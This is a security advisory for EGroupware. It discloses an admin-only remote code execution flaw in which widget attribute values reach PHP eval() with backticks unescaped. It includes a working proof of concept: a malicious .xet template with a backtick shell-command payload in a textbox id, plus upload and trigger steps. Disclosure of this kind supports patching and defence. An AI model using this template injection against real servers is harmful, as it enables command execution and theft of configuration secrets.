GHSA-8737-2x9g-xjj7

Summary

An authenticated administrator can achieve OS-level Remote Code Execution (RCE) by uploading a malicious eTemplate XML file (.xet) to the VFS /etemplates mount.

The Widget::expand_name() method passes template widget attribute values directly into a PHP eval() call with only double-quote escaping applied - backtick characters are not escaped.

In PHP, backticks inside a double-quoted eval() string execute shell commands. This allows an admin-level user to escalate from web application access to arbitrary OS command execution on the server.

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Details

The vulnerability is located in api/src/Etemplate/Widget.php, Widget::expand_name(): (lines 703–728)

The method is designed to expand PHP variables (e.g., $row, $col,$cont[id]) in widget attribute values for auto-repeat grids. The eval() is triggered whenever $name contains a $ character (line 706). The only sanitization applied before the eval is:

str_replace('"', '\\"', $name)

This escapes double quotes only. Backtick characters are not escaped. In PHP, backticks inside a double-quoted string in eval() are treated as shell execution operators — equivalent to shell_exec(). A widget id of $row\id`` produces:

eval('$name = "$row`id`";');  // executes shell command: id

expand_name() is called from:

• form_name()
• expand_widget()
• set_attrs()
• Template::run()

The /etemplates VFS path is created exclusively for admin users — it is chgrp'd to Admins and chmod'd to 075 (Admins group has full rwx): class.filemanager_admin.inc.php:95-106

Custom templates in /etemplates take precedence over built-in filesystem templates, meaning a malicious template can silently override any existing application template.

Mitigating factor: The official Docker deployment sets disable_functions = exec,passthru,shell_exec,system,proc_open,popen in php.ini, which also blocks PHP backtick execution (backticks internally call shell_exec). Non-Docker or non-hardened deployments without this php.ini setting are fully vulnerable. Dockerfile:47

The current master branch in api/setup/setup.inc.php, confirming the vulnerability is present in the latest code as of today. setup.inc.php:14-17

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Proof of Concept (PoC)

Prerequisites

• Admin account
• Non-Docker deployment, or Docker deployment where disable_functions has been removed/modified in php.ini

Step 1 — Mount /etemplates:

Log in as admin, navigate to Admin → Filemanager → VFS Mounts, and click "Install custom templates". This executes the code in filemanager_admin.inc.php that mounts /etemplates with Admins-group write access.

Step 2 — Upload malicious template:

Create a file named index.xet with the following content:

<?xml version="1.0" encoding="UTF-8"?>
<overlay>
  <template id="admin.index">
    <grid>
      <columns><column/></columns>
      <rows>
        <row>
          <textbox id="$row`touch /tmp/pwned_egw 2>/dev/null`"/>
        </row>
      </rows>
    </grid>
  </template>
</overlay>

Upload this file to /etemplates/admin/templates/default/index.xet via the VFS filemanager.

Step 3 — Trigger execution:

Navigate to the EGroupware admin panel:

https://<target>/egroupware/index.php?menuaction=admin.admin_ui.index  

When the template is loaded and beforeSendToClient() runs, form_name() calls expand_name() with $name = '$row\touch /tmp/pwned_egw 2>/dev/null'and$row = 0. The eval becomes:

eval('$name = "$row`touch /tmp/pwned_egw 2>/dev/null`";');

PHP executes the backtick expression as a shell command.

Step 4 — Verify:

Check that /tmp/pwned_egw was created on the server. For a more impactful demonstration, replace touch /tmp/pwned_egw with id > /tmp/pwned_egw to capture the web server's OS user identity.

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Impact

Authenticated Remote Code Execution (RCE) via eval() with unsanitized shell metacharacters.

Who is impacted: Any EGroupware installation where:

1. An admin account is compromised or a malicious admin exists, AND
2. The server is not running with disable_functions blocking shell_exec (i.e., non-Docker or misconfigured deployments)

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Severity

The vulnerability allows escalation from EGroupware admin-level web access to arbitrary OS command execution as the web server user (typically www-data). From there, an attacker can read configuration files (including database credentials), pivot to other services, or establish persistence. This is not exploitable by regular (non-admin) users. The official Docker deployment is not affected due to disable_functions, but bare-metal, VM, or custom container deployments without this hardening are fully vulnerable.